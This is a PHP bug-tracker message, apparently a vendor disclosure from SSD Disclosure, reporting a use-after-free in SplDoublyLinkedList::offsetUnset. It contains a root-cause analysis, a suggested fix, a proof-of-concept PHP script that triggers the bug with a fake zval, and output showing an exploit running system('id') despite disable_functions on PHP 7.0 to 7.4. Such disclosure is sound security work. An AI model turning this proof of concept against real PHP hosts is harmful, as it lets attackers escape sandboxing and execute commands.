Bug #80111 [Opn]: PHP SplDoublyLinkedList::offsetUnset UAF Sandbox Escape
| From: | noamr at ssd-disclosure dot com | Date: | Thu, 17 Sep 2020 09:56:20 +0000 |
| Subject: | Bug #80111 [Opn]: PHP SplDoublyLinkedList::offsetUnset UAF Sandbox Escape | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-229039@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=80111&edit=1
ID: 80111
User updated by: noamr at ssd-disclosure dot com
Reported by: noamr at ssd-disclosure dot com
Summary: PHP SplDoublyLinkedList::offsetUnset UAF Sandbox
Escape
Status: Open
Type: Bug
Package: *General Issues
Operating System: Debian / Buster
PHP Version: 7.4.10
Block user comment: N
Private report: N
New Comment:
This is a security vulnerability - shouldn't be open
Previous Comments:
------------------------------------------------------------------------
[2020-09-17 09:55:36] noamr at ssd-disclosure dot com
Hi,
We also have a working exploit if you require one
------------------------------------------------------------------------
[2020-09-16 16:30:53] cmb@php.net
Related To: Bug #80112
------------------------------------------------------------------------
[2020-09-16 13:52:09] noamr at ssd-disclosure dot com
Description:
------------
== Summary
SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
Said iteration is done by keeping a pointer to the "current" DLL element.
You can then call next() or prev() to make the DLL point to another element.
When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the
zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is
destroyed, current is still pointing to the associated element, even if it was removed from the
list.
This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the
zval's destructor.
== Long version (MD)
# Vulnerability Title
PHP 5.3 <= 7.4+ SplDoublyLinkedList UAF leading to sandbox escape
# High-level overview of the vulnerability and the possible effect of using it
SplDoublyLinkedList is vulnerable to an UAF since it has been added to PHP's core (PHP 5.3,
2009), which allows to escape the PHP sandbox and execute code. Such exploits are generally used to
bypass PHP limitations such as disable_functions, safe_mode, etc.
# Exact product that was found to be vulnerable including complete version information
PHP 5.3.0 to PHP 8.0 (alpha) are vulnerable, that is every PHP version since the creation of the
class. The given exploit works for PHP7.x only, due to changes in internal PHP structures.
# Root Cause Analysis
## Detailed description of the vulnerability
SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
Said iteration is done by keeping a pointer to the "current" DLL element.
You can then call next() or prev() to make the DLL point to another element. When you delete an
element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally
clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is
still
pointing to the associated element, even if it was removed from the list.
This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the
zval's destructor.
##Â Code flow from input to the vulnerable condition
Check poc.php.
We create an SplDoublyLinkedList object $s with two values; the first one is an object with a
specific __destruct, and the other does not matter. We call $s->rewind() so that the iterator
current element points to our object.
When we call
$s->offsetUnset(0), it calls the underlying C function
SPL_METHOD(SplDoublyLinkedList, offsetUnset) (in ext/spl/spl_dllist.c)
which does the following:
1. remove the item from the doubly-linked list by setting
element->prev->next = element->next
element->next->prev = element->prev
(effectively removing the item from the DLlist)
2. destroy the associated zval (llist->dtor)
3. if intern->traverse_pointer points to the element (which is the case), reset the pointer to
NULL.
On step 2, the __destruct method of our object is called.
intern->traverse_pointer still points
to the element. To trigger an UAF, we can do:
2. a. Remove the second element of the DLlist by calling $s->offsetUnset(0).
now, intern->traverse_pointer->next points to a freed location
2. b. Call $s->next(): this effectively does intern->traverse_pointer =
intern->traverse_pointer->next. Since this was freed just above, traverse_pointer
points to a freed location.
2. c. Using $s->current(), we can now access freed memory -> UAF
## Suggested fixes
intern->traverse_pointer needs to be cleared before destroying the zval, and the
reference can be deleted afterwards. Something like this would do:
```c
was_traverse_pointer = 0;
// Clear the current pointer
if (intern->traverse_pointer == element) {
intern->traverse_pointer = NULL;
was_traverse_pointer = 1;
}
if(llist->dtor) {
llist->dtor(element);
}
if(was_traverse_pointer) {
SPL_LLIST_DELREF(element);
}
// In the current implementation, this part is useless, because
// llist->dtor will UNDEF the zval before
zval_ptr_dtor(&element->data);
ZVAL_UNDEF(&element->data);
SPL_LLIST_DELREF(element);
```
# Proof-of-Concept
I added poc.php, which just demonstrates the UAF, and exploit.php, that exploits the bug to run
system('id');. The exploit only targets versions 7.x, due to internal
structure changes from version 5 to version 7 and 7 to 8.
Just run php exploit.php, and it will execute system("id");,
regardless of the values of disable_function, safe_mode, or any PHP
sandbox hardening.
Examples:
```js
# Remove system from allowed functions
$ php -d disable_functions=system -r 'system("id");'
PHP Warning: system() has been disabled for security reasons in Command line code on line 1
# Run the exploit
$ php -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7f530e4c3758
Leaked zval_ptr_dtor address: 0x55ed95429220
Got PHP_FUNCTION(system): 0x55ed95366200
Replaced zend_closure by the fake one: 0x7f530e46d298
Running system("id");
uid=1000(cf) gid=1000(cf)
groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE
# Run the exploit on php7.0
$ php7.0 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7fe40f8b8848
Leaked zval_ptr_dtor address: 0x561d774906e0
Got PHP_FUNCTION(system): 0x561d773e30a0
Replaced zend_closure by the fake one: 0x7fe40f863c98
Running system("id");
uid=1000(cf) gid=1000(cf)
groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE
# Run the exploit on php7.1
$ php7.1 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7f8094eb8820
Leaked zval_ptr_dtor address: 0x55d889299ff0
Got PHP_FUNCTION(system): 0x55d8891e7570
Replaced zend_closure by the fake one: 0x7f8094e64c98
Running system("id");
uid=1000(cf) gid=1000(cf)
groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE
# Run the exploit on php7.2
$ php7.2 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7ff7ba6c1820
Leaked zval_ptr_dtor address: 0x559a53c3bd40
Got PHP_FUNCTION(system): 0x559a53b80200
Replaced zend_closure by the fake one: 0x7ff7ba66cc98
Running system("id");
uid=1000(cf) gid=1000(cf)
groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE
# Run the exploit on php7.3
$ php7.3 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7f2cb60c3758
Leaked zval_ptr_dtor address: 0x563a044792b0
Got PHP_FUNCTION(system): 0x563a043b76a0
Replaced zend_closure by the fake one: 0x7f2cb606c298
Running system("id");
uid=1000(cf) gid=1000(cf)
groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE
# Run the exploit on php7.4
$ php7.4 -d disable_functions=system SplDoublyLinkedList/exploit.php
Address of first RW chunk: 0x7f358bec3758
Leaked zval_ptr_dtor address: 0x555d6943c220
Got PHP_FUNCTION(system): 0x555d69379200
Replaced zend_closure by the fake one: 0x7f358be6d298
Running system("id");
uid=1000(cf) gid=1000(cf)
groups=1000(cf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),131(wireshark),132(libvirtd)
DONE
```
Test script:
---------------
<?php
/*
*/
function i2s(&$s, $p, $i, $x=8)
{
for($j=0;$j<$x;$j++)
{
$s[$p+$j] = chr($i & 0xff);
$i >>= 8;
}
}
class Trigger
{
function __destruct()
{
global $s, $b;
# Add a reference afterwards
//$v = new SplDoublyLinkedList();
//$v->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE);
# Remove element #2 from the list: this has no effect on
# intern->traverse_pointer, since it is removed from the list already
# The element, along with the zval, is freed
unset($s[0]);
$a = str_shuffle(str_repeat('A', 40-24-1));
# Build a fake zval (long, value: 12345678)
i2s($a, 0x00, 12345678); # ptr
i2s($a, 0x08, 4, 7); # type: long
var_dump($s->current());
$s->next();
# The value is our fake zval
var_dump($s->current());
print_r('DONE'."\n");
}
}
# Create a 3-item dllist
$s = new SplDoublyLinkedList();
# This is the UAF trigger
$s->push(new Trigger());
#$b = &$a;
$s->push(3);
# Points intern->traverse_pointer to our object element
$s->rewind();
#$s->next();
# calls SplDoublyLinkedList::offsetUnset, which will remove the element from the
# dllist, and then destruct the object, before clearing traverse_pointer
unset($s[0]);
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=80111&edit=1